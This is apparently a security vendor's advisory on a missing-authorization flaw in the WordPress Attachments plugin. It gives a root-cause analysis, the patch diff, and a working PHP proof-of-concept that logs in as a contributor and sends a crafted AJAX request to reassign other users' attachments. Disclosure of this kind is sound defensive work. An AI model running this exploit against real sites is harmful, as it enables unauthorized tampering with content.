Atomic Edge analysis of CVE-2025-62888:
This vulnerability is a missing authorization flaw in the WordPress Attachments plugin. The vulnerability affects the plugin’s AJAX handler for managing attachment posts. It allows authenticated attackers with contributor-level permissions or higher to perform unauthorized actions, leading to a moderate security impact.
Atomic Edge research identifies the root cause in the file `wp-attachments/inc/meta-box.php`. The function handling the AJAX request `wp_ajax_wpa_attach` (implied by the code context) lacks capability checks before performing a critical operation. The vulnerable code, prior to line 387, directly processes the `attachment_id` and `post_id` parameters from the user request to update an attachment’s parent post without verifying the user’s edit permissions for either object.
The exploitation method involves an authenticated attacker sending a crafted POST request to the WordPress admin AJAX endpoint. The attacker must have at least contributor-level access. The request targets `/wp-admin/admin-ajax.php` with the `action` parameter set to `wpa_attach`. The payload includes the `attachment_id` of a media file they do not own and the `post_id` of a post they cannot edit. The AJAX handler processes this request due to the missing `current_user_can` checks.
The patch adds object-level authorization checks within the same function in `meta-box.php`. Two conditional statements verify the user’s capability to edit both the target post and the attachment using `current_user_can(‘edit_post’, $post_id)` and `current_user_can(‘edit_post’, $attachment_id)`. If either check fails, the function returns a JSON error. This ensures the user has the appropriate permissions on both objects before the `wp_update_post` operation proceeds, fixing the missing authorization flaw.
Successful exploitation allows an attacker to arbitrarily reassign media attachments from any post or user to posts they control. This can lead to unauthorized modification of content, data integrity issues, and potential information disclosure if attachment visibility is tied to post ownership. The impact is limited to the attachment management system and does not grant full site compromise.
--- a/wp-attachments/inc/meta-box.php
+++ b/wp-attachments/inc/meta-box.php
@@ -387,6 +387,15 @@
if (!$attachment_id || !$post_id) {
wp_send_json_error('Missing data');
}
+
+ // Object-level authorization: verify user can edit both the target post and the attachment
+ if (!current_user_can('edit_post', $post_id)) {
+ wp_send_json_error('Permission denied: cannot edit target post');
+ }
+ if (!current_user_can('edit_post', $attachment_id)) {
+ wp_send_json_error('Permission denied: cannot edit attachment');
+ }
+
wp_update_post(array(
'ID' => $attachment_id,
'post_parent' => $post_id
--- a/wp-attachments/wp-attachments.php
+++ b/wp-attachments/wp-attachments.php
@@ -5,13 +5,13 @@
Description: Powerful solution to manage and show your WordPress media in posts and pages
Author: Marco Milesi
Author URI: https://www.marcomilesi.com
-Version: 5.2
+Version: 5.2.1
Text Domain: wp-attachments
*/
require_once( plugin_dir_path(__FILE__) . 'inc/attach_unattach_reattach.php' );
-function wpa_action_init() {
+add_action('init', function () {
load_plugin_textdomain( 'wp-attachments' );
// Only process download if counter is enabled and download param is present
@@ -39,8 +39,7 @@
$wpa_ict = (int) get_option('wpa_ict', 0);
wp_enqueue_style('wpa-css', plugin_dir_url(__FILE__) . 'styles/' . $wpa_ict . '/wpa.css');
-}
-add_action('init', 'wpa_action_init');
+} );
add_action('admin_init', function() {
load_plugin_textdomain( 'wp-attachments', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62888 - Attachments <= 5.2 - Missing Authorization
<?php
$target_url = 'http://target-site.com'; // CHANGE THIS
$username = 'contributor'; // Attacker's username
$password = 'password'; // Attacker's password
// Step 1: Authenticate to WordPress and obtain cookies/nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
// Step 2: Exploit the missing authorization by attaching an unauthorized media file to an unauthorized post
// The attacker specifies an attachment ID they do not own and a post ID they cannot edit.
$exploit_payload = [
'action' => 'wpa_attach', // The vulnerable AJAX action hook
'attachment_id' => 100, // ID of an attachment belonging to another user/admin
'post_id' => 50 // ID of a post the contributor cannot edit (e.g., a published post by another author)
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => $exploit_payload,
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "Response: " . $ajax_response . "n";
// A successful exploit in the vulnerable version will return a JSON success message.
// The patched version will return a 'Permission denied' error.
?>